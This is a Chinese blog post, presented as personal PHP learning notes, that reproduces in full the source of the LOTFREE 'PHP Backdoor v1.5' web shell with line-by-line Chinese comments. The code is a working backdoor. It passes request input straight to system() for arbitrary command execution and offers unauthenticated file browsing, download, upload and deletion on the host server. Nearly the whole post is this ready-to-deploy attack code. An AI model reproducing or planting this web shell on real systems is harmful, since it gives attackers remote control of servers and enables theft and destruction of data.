php 后门程序解析

PHP Backdoor Version 1.5是由sirius_black / LOTFREE TEAM编写的一个php后门程序,这里对其进行一下简单解析,也当做自己学习php的笔记,该后门程序成执行的命令,取决于安装web服务器和php时用户的权限,如果是管理员的话,那就可以执行各种操作系统命令。易踪论坛:https://www.yeetrack.com/bbs/forum.php?mod=forumdisplay&fid=39,O(∩_∩)O<!--goodlink函数用来过滤掉url中的一些非法字符-->
<?php
function good_link($link)
{
$link=ereg_replace("/+","/",$link);
$link=ereg_replace("/[^/(..)]+/..","/",$link);
$link=ereg_replace("/+","/",$link);
if(!strncmp($link,"./",2) && strlen($link)>2)$link=substr($link,2);
if($link=="")$link=".";
return $link;
}
//$_REQUEST用来取得提交到本文件的数据
$dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:"."; //如果没有定义dir,dir取默认值"."
$dir=good_link($dir);
$rep=opendir($dir);  //打开dir指定的路径句柄
chdir($dir);        //切换到dir指定的目录
if(isset($_REQUEST["down"]) && $_REQUEST["down"]!="")   //如果定义了down
{
header("Content-Type: application/octet-stream");
header("Content-Length: ".filesize($_REQUEST["down"]));
header("Content-Disposition: attachment; filename=".basename($_REQUEST["down"]));
readfile($_REQUEST["down"]); //将文件读取到缓冲区
exit();
}
?>
<html>
<head><title>LOTFREE PHP Backdoor v1.5,易踪网yeetrack.com</title></head>
<body>
<br>
<?php
echo "当前绝对路径为: <b>".getcwd()."</b><br>n"; //获取当前的绝对路径
echo "<b>dir = '$dir'</b><br>n";
echo "当前目录,文件列表 !<br><br>n";
//如果已经输入要执行的命令
if(isset($_REQUEST['cmd']) && $_REQUEST['cmd']!="")
{
    echo "<pre>n";
    system($_REQUEST['cmd']); //在服务器上执行输入的命令,执行结果回显
    echo "</pre>n";
}
//如果已经上传了文件
if(isset($_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) //获取post上来的文件,保存到当前目录
{
    if($_FILES["fic"]["size"]<$_POST["MAX_FILE_SIZE"])    //判断文件是否符合大小规范
    {
      if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link("./".$_FILES["fic"]["name"]))) //将临时文件保存到当前目录
      {
        echo "文件保存成功 ".good_link("./".$_FILES["fic"]["name"])."!<br>n";
      }
      else echo "文件上传失败: ".$_FILES["fic"]["error"]."<br>n";
    }
    else echo "File too large(文件超出大小限制)!<br>n";
}
if(isset($_REQUEST['rm']) && $_REQUEST['rm']!="") //如果定义了rm,即删除指定的文件
{
    if(unlink($_REQUEST['rm'])) //unlink是php的删除文件函数
  echo "成功删除 ".$_REQUEST['rm']." !<br>n";
    else echo "删除文件失败<br>n";
}
?>
<hr>
<table align="center" width="95%" border="0" cellspacing="0" bgcolor="lightblue">
<?php
$t_dir=array();
$t_file=array();
$i_dir=0;
$i_file=0;
//循环输读取前的目录文件,放在t_dir和t_file中
while($x=readdir($rep))
{
    if(is_dir($x))           //如果当前处理的是目录
  $t_dir[$i_dir++]=$x;
    else                    //如果当前处理的是文件
  $t_file[$i_file++]=$x;  
}
closedir($rep); //关闭由opendir打开的目录句柄
while(1) //循环输入当前路径的目录和文件
{
 ?>
 <!--用表格来展示当前目录的文件-->
 <tr>
 <td width="20%" bgcolor="lightgray" valign="top">
 <?php
  if($x=each($t_dir))
  {
  $name=$x["value"]; //获取t_dir数组里的目录名称
  if($name=='.'){}
  elseif($name=='..') echo "    <a href='".$_SERVER['PHP_SELF']."?dir=".good_link("$dir/../")."'>UP(父目录)</a><br><br>n"; //展示一个UP链接,读取父目录的文件列表
  else
   echo "    <a href='".$_SERVER['PHP_SELF']."?dir=".good_link("$dir/$name")."'>".$name."</a>n";
  }
 ?>
 </td>
 <td width='78%'
 <?php
  //$_SERVER['PHP_SELF']取得当前php脚本文件名
  if($y=each($t_file))
  {
   if($y["key"]%2==0)  //如果当前处理的是key
    echo " bgcolor='lightgreen'>n";
   else    //如果当前处理的是value,即文件。就将该文件展示出来,且提供下载链接。
    echo ">n";
   echo "    <a href='".$_SERVER['PHP_SELF']."?dir=$dir&down=".$y["value"]."'>".$y["value"]."</a>n";
  }
  else echo ">n";
 ?>
 </td>
 <td valign='center' width='2%'
 <?php
  if($y)
  {
   //如果是文件,就提供以下删除该文件的链接
   if($y["key"]%2==0)echo " bgcolor='lightgreen'";
    echo "><a href='".$_SERVER['PHP_SELF']."?dir=$dir&rm=".$y["value"]."'><b>Del</b></a>";
  }
  else echo ">n";
 ?>
 </td>
 </tr>
 <?php
  if(!$x && !$y)
   break;
}
?>
</table>
<hr>
<br>
<a href="<?php echo $_SERVER['PHP_SELF']; ?>?dir=">revenir au repertoire d'origine</a><br><br>
<!--form表单,将用户输入的命令post到服务器-->
<form method="post" action="<?php echo $_SERVER['PHP_SELF']."?dir=$dir"; ?>">   <!--action动作,将请求发送给当前php文件,并且定义dir,刷新当前文件列表-->
Execute commande(执行操作系统命令) <input type="text" name="cmd"> <input type="submit" value="Run(执行)">
</form><br>
上传文件到服务器当前目录 :<br>
<form enctype="multipart/form-data" method="post" action="<?php echo $_SERVER['PHP_SELF']."?dir=$dir"; ?>"> <!--action动作,将文件post到服务器,刷新当前文件列表-->
<input type="file" name="fic"><input type="hidden" name="MAX_FILE_SIZE" value="100000">
<input type="submit" value="开始上传!"></form><br>
<br>
易踪网yeetrack.com
<center>
PHP Backdoor Version 1.5<br>
by sirius_black / LOTFREE TEAM<br>
Execute commands, browse the filesystem<br>
Upload, download and delete files...<br>
<a href="http://www.lsdp.net/~lotfree">http://www.lsdp.net/~lotfree</a><br>
</center>
</body>
</html>

版权声明

本站文章、图片、视频等(除转载外),均采用知识共享署名 4.0 国际许可协议(CC BY-NC-SA 4.0),转载请注明出处、非商业性使用、并且以相同协议共享。

© 空空博客,本文链接:https://www.yeetrack.com/?p=126